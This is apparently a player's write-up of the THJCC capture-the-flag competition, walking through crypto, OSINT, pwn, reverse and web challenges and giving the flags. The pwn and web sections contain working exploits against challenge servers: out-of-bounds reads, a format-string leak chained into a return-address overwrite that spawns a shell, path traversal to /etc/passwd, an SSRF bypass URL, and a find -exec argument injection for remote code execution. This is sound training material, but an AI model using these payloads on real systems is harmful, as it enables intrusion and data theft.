didn’t expect to get 2nd LOL

Welcome

Welcome 0x2 [100]

we’re told to score 10k on the main page’s snake game: snake game no way im doing that! let’s look for the source code
f12, ctrl+u and right click is blocked, but we can use view-source:https://ctf.scint.org, then ctrl+f
and there’s our flag! THJCC{Sn4ke_G4me_Mast3r}

Discord 0x2 [100]

run get_flag command using the bot… let’s use slash commands! mfw you can’t right click on bot messages to copy text
flag: THJCC{🇩 🇮 🇸 🇨 ⭕ 🇷 🇩 🚀 🚀 🚀 💥 💥 }

Crypto

surprisingly not that difficult (except for the one in insane section i’m bad with lattices)

S-box [100]

i was expecting an aes chall whyyyyyy
basically just get the index in Sbox for each byte, then turn the indices into characters

Sbox = [
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
ct = 'b16e45b3d1042f9ae36a0033edfc966e00202f7f6a04e3f5aa7fbec7fc23b17f6a04c75033d12727'

print(''.join(chr(Sbox.index(x)) for x in bytes.fromhex(ct)))
which produces VEhKQ0N7MXRfSU5ERTNkX0MwbkZ1U2VkX01lfQ==, decode from b64 get THJCC{1t_INDE3d_C0nFuSed_Me}

girlfriend [220]

cipher stack… smh…. 3x base64 + rot47 + rot13 gives our flag THJCC{1_l0v4_y0U}

Double Secure [360]

we’re given:

e1 = 1209025818292500404898024570102134835095
e2 = 1153929820462595439034404807036436005695
c1 = 4686969000176026668142551386405961667244859179091121048789736906319941206633368871603145429789804371517689356724283665615560419220177217061394369109032009837191125570576846003108252054213375517032484936845780176686933021970145944560459910327622173020309196808011289898102369838733513418146248658989833278092245380865500885392466881751439285395948238009780473347394659944225592468491712528382644789159487141824834194698492402509087503284719144175312666038356726647193088410263987334692755831485297259782624493401642724771270618297865273123703684979261387018227373334239613596003448973775510791973553008257272497892749      
c2 = 4540297725647331934905237578525216933722595392057237387765407038665230894240204449563209528605647399587374057758620064845160826850834874467466530861889560413716585086967111655199675352965186359605631990782795548688731835329324787086713207234310139569584697775020172181261458867670514322407445943849794394018705433792059849432137048644507043691822321644399785134843330851574379509992140526187868643908531989419115511712486580846719021178555911841665639917213314488825408038260194522914413314352194951861955128509119794766550025992304177755307541355358904591704417309739263026201100425174159070619496076319761127905668      
n1 = 11420597945352267246439779981835090037584588491333824626568197775824677557983731463999644894256311021271206322607582216071165117622146217906890462896203921594569439126093578932039659911878686760877479642041356645143332405857507389323442882056801119450744273463542565842985280903907124378453694724227573952940417047614706433822120334077857109663307700994132011851819444180430364772330302858685124576318444033580802013232598348692547021765596536182348708233890220359057622400728625965211209475438433527929412147434590769144689739875814457228384363203070599776289032593445885983011907135099807893621393301265616707684237
n2 = 11420597945352267246439779981835090037584588491333824626568197775824677557983731463999644894256311021271206322607582216071165117622146217906890462896203921594569439126093578932039659911878686760877479642041356645143332405857507389323442882056801119450744273463542565842985280903907124378453694724227573952940417047614706433822120334077857109663307700994132011851819444180430364772330302858685124576318444033580802013232598348692547021765596536182348708233890220359057622400728625965211209475438433527929412147434590769144689739875814457228384363203070599776289032593445885983011907135099807893621393301265616707684237
and that the message was signed twice, using different public keys:

$$ \begin{aligned} c_1 \equiv m^{e_1}\ (mod\ N_1) \\ c_2 \equiv m^{e_2}\ (mod\ N_2) \end{aligned} $$

some few observations can be made:

  1. \(N_1\) and \(N_2\) are the same, let’s call them both \(N\)
  2. \(gcd(e_1, e_2) = 5\), which is suspiciously small

using gcd, we can derive the following by Bézout’s identity:

$$a \cdot e_1 + b \cdot e_2 = 5 \; (a, b \in \mathbb{Z})$$

let’s mess with the equations to make use of above:

$$ \begin{aligned} c_1^a \equiv m^{ae_1}\ (mod\ N) \\ c_2^b \equiv m^{be_2}\ (mod\ N) \\ c_1^{a}c_2^{b} \equiv m^{ae_1 + be_2}\ (mod\ N) \\ c_1^{a}c_2^{b} \equiv m^{5}\ (mod\ N) \\ m^{5} = c_1^{a}c_2^{b} + kN \; (k \in \mathbb{N}_0) \end{aligned} $$

which we can just bruteforce k until we can take the 5th root of m!

from sage.all import xgcd
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

e1 = 1209025818292500404898024570102134835095
e2 = 1153929820462595439034404807036436005695
c1 = 4686969000176026668142551386405961667244859179091121048789736906319941206633368871603145429789804371517689356724283665615560419220177217061394369109032009837191125570576846003108252054213375517032484936845780176686933021970145944560459910327622173020309196808011289898102369838733513418146248658989833278092245380865500885392466881751439285395948238009780473347394659944225592468491712528382644789159487141824834194698492402509087503284719144175312666038356726647193088410263987334692755831485297259782624493401642724771270618297865273123703684979261387018227373334239613596003448973775510791973553008257272497892749      
c2 = 4540297725647331934905237578525216933722595392057237387765407038665230894240204449563209528605647399587374057758620064845160826850834874467466530861889560413716585086967111655199675352965186359605631990782795548688731835329324787086713207234310139569584697775020172181261458867670514322407445943849794394018705433792059849432137048644507043691822321644399785134843330851574379509992140526187868643908531989419115511712486580846719021178555911841665639917213314488825408038260194522914413314352194951861955128509119794766550025992304177755307541355358904591704417309739263026201100425174159070619496076319761127905668      
n = 11420597945352267246439779981835090037584588491333824626568197775824677557983731463999644894256311021271206322607582216071165117622146217906890462896203921594569439126093578932039659911878686760877479642041356645143332405857507389323442882056801119450744273463542565842985280903907124378453694724227573952940417047614706433822120334077857109663307700994132011851819444180430364772330302858685124576318444033580802013232598348692547021765596536182348708233890220359057622400728625965211209475438433527929412147434590769144689739875814457228384363203070599776289032593445885983011907135099807893621393301265616707684237

gcd, a, b = xgcd(e1, e2)
p = pow(c1, a, n) * pow(c2, b, n) % n
while not iroot(p, 5)[1]:
    p += n
    
print(long_to_bytes(iroot(p, 5)[0]))
flag: THJCC{wait_what?}

Shuffle Hell [450]

the encryption process is simply:

  1. for each i, initialize cipher as flag
  2. for each j (layer), xor an element from current layer twice with two shuffled mappings as indices

on a smaller scale, each loop’s operation is as follows:

$$ \begin{aligned} c_1 = m \oplus layer_{0,2}\oplus layer_{0,2}\oplus layer_{1,2}\oplus layer_{1,1}\oplus layer_{2,0}\oplus layer_{2,0} \\ c_2 = m \oplus layer_{0,0}\oplus layer_{0,0}\oplus layer_{1,1}\oplus layer_{1,0}\oplus layer_{2,1}\oplus layer_{2,2} \\ c_3 = m \oplus layer_{0,1}\oplus layer_{0,1}\oplus layer_{1,0}\oplus layer_{1,2}\oplus layer_{2,2}\oplus layer_{2,1} \end{aligned} $$

notice that the shuffled mapping spans through 2nd index, and there are two mappings
recall XOR’s properties:

  • commutativity: \(A \oplus B = B \oplus A\), reordering
  • involution: \(A \oplus B \oplus B = A\), cancelling out repeats

since we want to cancel out the shufflings, lets xor all the ciphertexts together and reorder:

$$ \begin{aligned} c = m \oplus layer_{0,0}\oplus layer_{0,0}\oplus layer_{1,0}\oplus layer_{1,0}\oplus layer_{2,0}\oplus layer_{2,0}\oplus \\ m \oplus layer_{0,1}\oplus layer_{0,1}\oplus layer_{1,1} \oplus layer_{1,1}\oplus layer_{2,1}\oplus layer_{2,1}\oplus\\ m \oplus layer_{0,2}\oplus layer_{0,2}\oplus layer_{1,2}\oplus layer_{1,2}\oplus layer_{2,2}\oplus layer_{2,2} \end{aligned} \\ c = m $$

which would get us the flag!

f = open("output.txt", "r")

flag = b''
for line in f:
    if flag == b'':
        flag = bytes.fromhex(line)
    else:
        flag = bytes(a ^ b for a, b in zip(flag, bytes.fromhex(line)))
print(flag)

f.close()

flag: THJCC{Xor_FoR_m4nY71M3}

Misc

png chunk [260]

we’re given Flag.png. we have our flag! …except it’s cut off. let’s use pngcheck to investigate: seeing this i opened HxD to check: that’s an IDAT chunk! which is a part of image data
how can we view it? according to libpng.org:

There can be multiple IDAT chunks; if so, they must appear consecutively with no other intervening chunks.

so we can just concatenate the missing IDAT chunk after the one in the image!
lets understand IDAT’s structure first: image taken from which means we need to jump 4 + 4 + 0xffa5 + 4 bytes, then paste the missing chunk current chunk and then we can view it! flag flag: THJCC{PN6_@$_Y0U_LooK_so}

Sumire hime [460]

never thought my webriddle instincts would come into play
we’re only given this and 2 hints (and another useless one):

u know that?
Sumire hime is a sword!
Can you tell me what the type of the sword?

Hint 1: SlashBlade is THE BEST Minecraft mod.
Hint 2: The author lives in Taiwan.

the solution is just to be dumb
first get your google to be in taiwan region for easier searching

lets find the words for “Sumire hime” and “sword”!
searching “sumire hime” leads to this website, giving us 菫姫. we can just translate sword into 劍
searching 菫姫劍 leads to the video we want
flag: THJCC{https://youtu.be/x27Tiu2jdlE}

btw knowing that quoting things forces results to include the quoted phrase actually trolls you, since these two characters are both wrong lol (website above gave 菫姫 but video title uses 堇姬)
this is Not even osint its literally just mindreading

Happy College Life [460]

obligatory geoguessr challenge
using exiftool on the image returned nothing useful, so we actually need to look with our eyes
to begin, we need to find some landmarks that gives the location away
which we can see a logo here: these letters can be LB or bB, but having both cases present is unlikely, so we’ll pick the former
we can then search “LB college logo”, go into google images and look for matches
that looks like it!
searching “long beach college” returns Long Beach City College and California State University, Long Beach, but only the latter logo matches, so it’s that
but how do we find the location? you don’t. remember challenge only requires precision up to the minutes, and a minute is big enough for us to bruteforce
bruting 33°46N and 33°47N, 118°06W and 118°07W gives our flag THJCC{3346N,11807W}

Pwn

im actually dogwater at pwn how did i solve 2

Peek a char [210]

we have a binary file and source code:

#include<string.h>
#include<stdio.h>

void main()
{
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    char buf[0x100];
    char FLAG[] = "FLAG{fake_flag}";
    printf("Enter your input: ");
    scanf("%255s", buf);
    while(1)
    {
        int i;
        printf("Enter the index of the character you want to inspect: ");
        scanf("%d", &i);
        printf("The character at index %d is '%c'.\n", i, buf[i]);
    }
}
hmm.. the flag is just behind our input array. lets input negative numbers! below is how i automated this:
from pwn import *
import re

io = remote('23.146.248.230', 12343)
out = b''

io.recvuntil(b': ')
io.sendline(b'asdf')
io.recvuntil(b': ')
for i in range(60):
    io.sendline(str(-i).encode())
    line = io.recvuntil(b': ').decode(errors='ignore')
    try:
        out += re.search(r"'(.*?)'", line).group(1).encode()
    except:
        out += b' '

print(out.decode()[::-1])
flag: THJCC{i_ThoU9HT_i_W@S_well_HIdDen_QQ}

Infinite Recursion [350]

we have a binary file and source code:

#include <stdio.h>
#include <strings.h>
#include <time.h>

void fsb()
{   
    char buf[0x10];
    printf("fsb> ");
    scanf("%15s", buf);
    printf(buf);
}
void bof()
{
    char buf[0x10];
    printf("bof> ");
    scanf("%s", buf);
}
int rand_fun()
{
    if (rand() & 1)
        fsb();
    else
        bof();
    rand_fun();
}
void main()
{
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    srand(time(0));
    printf("Try to escape haha >:)\n");
    rand_fun();
    system("/bin/sh");
}
fsb stands for format string bug and bof stands for buffer overflow
PIE is enabled, which means our base address will be randomized
so we have 2 parts:

  1. finding base address
    we can use fsb for this by bruteforcing %1$p, %2$p and so on
    which we can find %9$p points to rand_fun+35!
    let’s say it’s 0x5555555552d9, then the /bin/sh line would be 0x555555555375, giving an offset of 0x9c
  2. modify return address
    buffer size is 0x10 bytes, and it’s 64-bit so add 0x8 bytes for frame pointer, then add the address from fsb + 0x9c
    payload is as follows:
    from pwn import *
    
    io = remote("23.146.248.230", 12355)
    while b'fsb' not in io.recvuntil(b'> '):
        io.sendline(b'z')
    
    io.sendline(b'%9$p')
    line = io.recvuntil(b'> ')
    leak = int(line[:-5].decode(), 16)
    payload = b'a' * 0x10 + b'b' * 0x8 + p64(leak + 0x9c)
    
    while b'bof' not in line:
        io.sendline(b'z')
        line = io.recvuntil(b'>')
    
    io.sendline(payload)
    io.interactive()
    flag: THJCC{E$C4Pe_FRoM_TH3_InF!NI7E_r3CURS!on}

Reverse

BMI Calculator [110]

we’re given a binary file: input weight and height, get bmi and flag
opening in IDA reveals the flag is encrypted:

v7[3] = __readfsqword(0x28u);
v7[0] = 0x581E51696960627ELL;
v7[1] = 0x1942755F1A537519LL;
v7[2] = 0x571553421D461ELL;

and an uncalled decrypt flag function

size_t __fastcall decrypt_flag(const char *a1)
{
  size_t result; // rax
  int i; // [rsp+1Ch] [rbp-14h]

  for ( i = 0; ; ++i )
  {
    result = strlen(a1);
    if ( i >= result )
      break;
    a1[i] ^= 0x2Au;
  }
  return result;
}

so just xor every byte with 0x2A lol
flag: THJCC{4r3_y0u_h34l7hy?}

locked unlocker [250]

we’re given locked-unlocker.cpython-310.pyc
filename indicates python 3.10, so lets use pycdc
after some patching we try to run it:

Starting decryption...
Decrypting |████████████████████████████████████████| 256/256 [100%] in 16.7s (15.40/s)
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR...

its a png! write it to a file

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
from Crypto.Util.number import *
from alive_progress import alive_bar

def unlocker(flag):
    def key_decryptor(ciphertext):
        c = bytes_to_long(ciphertext)
        (d, n) = (0x2477CEFD961FE9B45BF3FC942F011DF849F40A5D56CE69E93ADEC92F18C71F91E52CED416AE9B5AF5311290DAB85D852CA7D11C56853063B4371119AA1A585B79FC11720A3F750302BBDE4CD46433E22F7C5FD03B69E0B846834A0BFF50E7CBF46C59F24562F886130E591AACEEFF89A50AF45728FCAC6CD3690EF5F984190366E67C9F1725ED9EE014E3CA3C45106C6B5C4EDDD8DBE760F2428F3856BDEE99B909CC332C75719FC3ED22BC398E2AA65AF87BD31B0455D443D0285CC14C284FFE61967B1FA0657BB5957C2629FEC7F215C0BD37908436ED98B1B389D342C612F1E0DC9F67900365EBA07D462A2C3BB83F0296824CA4A5651D5E29FA5913F370D, 0x745486641242C2CF6333B47DE52D28072D1F97597179693FBEB519D43D08B6D51BA293AF81F06E8FE0B49410C108029985DC6429BE637DBDF49D835DE7B43B86810640F0C645284D9A52D1A632C5343FD241D3700D6127E43C1280D2CDB3E39CB588FA07EA9DC1A1CA3AEB883CD775DDF2FC734E941F22342D2EF6730E21D2D2D782DCD55EE186122EC7D0976354A995CB4CBD7922C197075E446959C259CAB2BE6AB7FA8AAF0CD972BFA212138DA1D7AF087B6C8F14811983F09762FA6D5E8A0B9240EE71CC9919F3407ED504F32BF028D3EB9B51B4A74B776D8759401016C204E5F49C19958C71C3E012A5523E644BE725D6C9DE420CDAA10820FD8FFE9845)
        m = pow(c, d, n)
        plaintext = long_to_bytes(m)
        return b'\x00' * (48 - len(plaintext)) + plaintext

    print('Starting decryption...')
    with alive_bar(256, title='Decrypting') as bar:
        for i in range(256):
            now_key = key_decryptor(flag[-256:])
            flag = flag[:-256]
            cipher = AES.new(key=now_key[:32], mode=AES.MODE_CBC, iv=now_key[32:])
            flag = cipher.decrypt(flag)
            flag = unpad(flag, 16)
            bar()
    f = open('flag.png', 'wb')
    f.write(flag)
    f.close()

#serial_number = input('Enter the serial number to unlock this product: ')
#if serial_number == 'WA4Au-l10ub-18T7W-u9Yx2-Ms4Rl':
#    print('Unlocking...')
unlocker(open('flag.png.locked', 'rb').read())
#None('Invalid serial number. Access denied.')
flag: THJCC{BABy_PYC_rEvErSe}

You know I know the token [310]

we’re given a binary file, where u can register/login and get/input token
opening in IDA we can see we’re prevented from registering “Administrator” however we can patch jnz’s code 75 with jz’s code 74! lets patch it and run:
flag: THJCC{Unm4sK1n6_7He_shA256_al9o}

Web

notepad+++ [100]

we’re given a note website where we can edit the text and view it checking code, we notice that our session is md5-encrypted, but the server doesn’t actually check if it’s md5 or not

import time
import hashlib
from flask import Flask, g, request, render_template, make_response, redirect, url_for
app = Flask(__name__)

@app.before_request
def auth():
    if not request.cookies.get('session'):
        res = make_response(redirect(url_for('root')))
        g.session = hashlib.md5(str(time.time()).encode()).hexdigest()
        res.set_cookie('session', g.session)
        return res

    g.session = request.cookies.get('session')

def getctx():
    try:
        with open(f'./tmp/{g.session}', mode='a+', encoding='utf8') as f:
            f.seek(0)
            ctx = f.read()
    except:
        with open(f'./tmp/{g.session}', mode='r', encoding='utf8') as f:
            ctx = f.read()
            
    return 'Hello World' if not ctx else ctx

@app.route('/')
def root():
    return render_template('index.html',text = getctx())

@app.route('/profile')
def profile():
    return render_template('profile.html', text = getctx())

@app.route('/save', methods=['POST'])
def save():
    with open(f'./tmp/{g.session}', mode='w', encoding='utf8') as f:
        f.write(request.form['text'])
    return 'ok'

if __name__ == '__main__':
    app.run('0.0.0.0', 80)
which means we can LFI with session cookie! flag: THJCC{tmp_1n_🐍_01b4c87cabcca82b}

proxy revenge [300]

we’re given a proxy and we need to connect http://secret.flag.thjcc.tw for flag

const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

function CheckIfHttp(scheme) {
    return scheme.startsWith('http://');
}

app.get('/fetch', (req, res) => {
    const scheme = req.query.scheme;
    const host = req.query.host;
    const path = req.query.path;
    if (!scheme || !host || !path) {
        return res.status(400).send('Missing parameters');
    }
    const client = scheme.startsWith('https') ? https : http;
    const fixedhost = host + '.cggc.chummy.tw'; // oops, I forgot to change it

    if (CheckIfHttp(scheme)) {
        return res.send('Sorry, Only accepts https'); // pls no http :(
    }

    const url = scheme + fixedhost + path;
    console.log('[+] Fetching :', url);
    client.get(url, (response) => {
        let data = '';

        response.on('data', (chunk) => {
            data += chunk;
        });

        response.on('end', () => {
            res.send(data);
        });
    }).on('error', (err) => {
        console.error('Error: ', err.message);
        res.status(500).send('Failed to fetch data from the URL');
    });
});

app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on http://0.0.0.0:3000');
});
these two lines stand in the way, but easily bypassable:

  • scheme.startsWith(‘https’) only checks if the raw string starts with exactly that, and doesn’t do any filtering
    which means we can just do ’ https’ or ‘hTtps’
  • the host is appended with .cggc.chummy.tw, but we can make that a query ? or use a # to render that useless

final payload: http://cha-thjcc.scint.org:10068/fetch?scheme=%20http://&host=secret.flag.thjcc.tw/?a=&path=/ flag: THJCC{N0...K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}

login panel [430]

we’re given a website and the login script:

const { secret } = require('./secret.js');
var express = require('express');
var path = require('path');
var mysql = require('mysql');
var connection = mysql.createConnection(
    { host: "127.0.0.1", user: "root", password: "12345677654321", database: "challenge"});
var app = express();
app.use(express.json())
app.get('/', function (request, response) {response.sendFile(path.join(__dirname, 'index.html'));});
app.get('/login', function (request, response) {response.sendFile(path.join(__dirname, 'login.html'));});
app.post('/auth', function (request, response) {
    var loginData = request.body;
    loginData = Object.assign({ secret }, loginData); //oh, that's cool
    connection.query(
        "SELECT ? AS SECRET FROM users WHERE user = ? AND password = ?",
        [loginData.secret, loginData.user, loginData.password],
        (error, result) => {
            if (error) {return response.status(500).send("資料庫錯誤");}
            else if (result) {return response.status(200).send(result[0]["SECRET"]);}
            else {return response.status(401).send("你錯了呦~");}
        }
    );
});
var server = app.listen(process.env.PORT || 10022, function () {
    console.log(server.address().port);
});
sql injection doesnt seem possible, so i found this started sending nonstring types in login data, and accidentally solved it
lmao
apparently this is not how u solve it, but ill try to explain this tmrw

Insane

Blog Revenge [400]

Blog was the best challenge in THJCC, but now the revenge one would be the best!
Try to run readflag on my new blog (RCE m3 plz)
Author: whale.120

analyzing the website we see that the gif is fetched by /getimage?img=fido_hello.gif, which i thought was a sign of LFI
i tried ../etc/passwd and kept prepending ../, and hit ../../etc/passwd
i then just guessed ../../app/app.py and hit the server code (and copied all files to run locally lol)

from flask import *
import subprocess
import os
app = Flask(__name__)

@app.route("/")
def hello():
    return render_template('index.html')

@app.route("/test-find-panel")
def test_find_panel():
    find_query=['find', '.']
    for key, value in request.args.items():
        find_query.append('-'+key)
        find_query.append(value)
    find_result=subprocess.run(find_query, stdout=subprocess.PIPE).stdout
    return find_result

@app.route("/getimage")
def getimage():
    img_name = request.args.get('img')
    if img_name:
        img_path = 'static/'+img_name
        if os.path.isfile(img_path):
            return send_file(img_path)
        else:
            abort(404, description="Image not found")
    else:
        return "No image specified", 400

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=13370, debug=True) 
app.py reveals a secret /test-find-panel, which has a possible RCE
i added below two lines for better testing:

print(subprocess.list2cmdline(find_query), flush=True)
print(find_query, flush=True)

naively i tried to use || to execute extra command and fail the find command works on local but not on server, so i figured the subprocess command only allows us to pass find arguments
though find command actually has -exec! with a condition:

All following arguments to find are taken to be arguments to the command until an argument consisting of `;’ is encountered.

so end the payload in an arbitrary argument with value ;
-exec "./readflag" -hahaiwin ; -> ?exec=./readflag&hahaiwin=; uh oh! we need to send 2 too
simply using a pipe wouldnt work, cause find will interpret the whole string as a filepath: -exec "echo '2' | ./readflag" -hahaiwin ; -> ?exec=echo%20%272%27%20|%20./readflag&hahaiwin=;

2024-12-22 01:30:05 find . -exec "echo '2' | ./readflag" -hahaiwin ;
2024-12-22 01:30:05 ['find', '.', '-exec', "echo '2' | ./readflag", '-hahaiwin', ';']
2024-12-22 01:30:05 find: ‘echo '2' | ./readflag’: No such file or directory

however we can use sh -c! which works with string input -exec sh -c "echo '2' | ./readflag" -hahaiwin ; -> ?exec=sh&c=echo%20%272%27%20|%20./readflag&hahaiwin=; yay! flag: THJCC{argument_injection_never_die}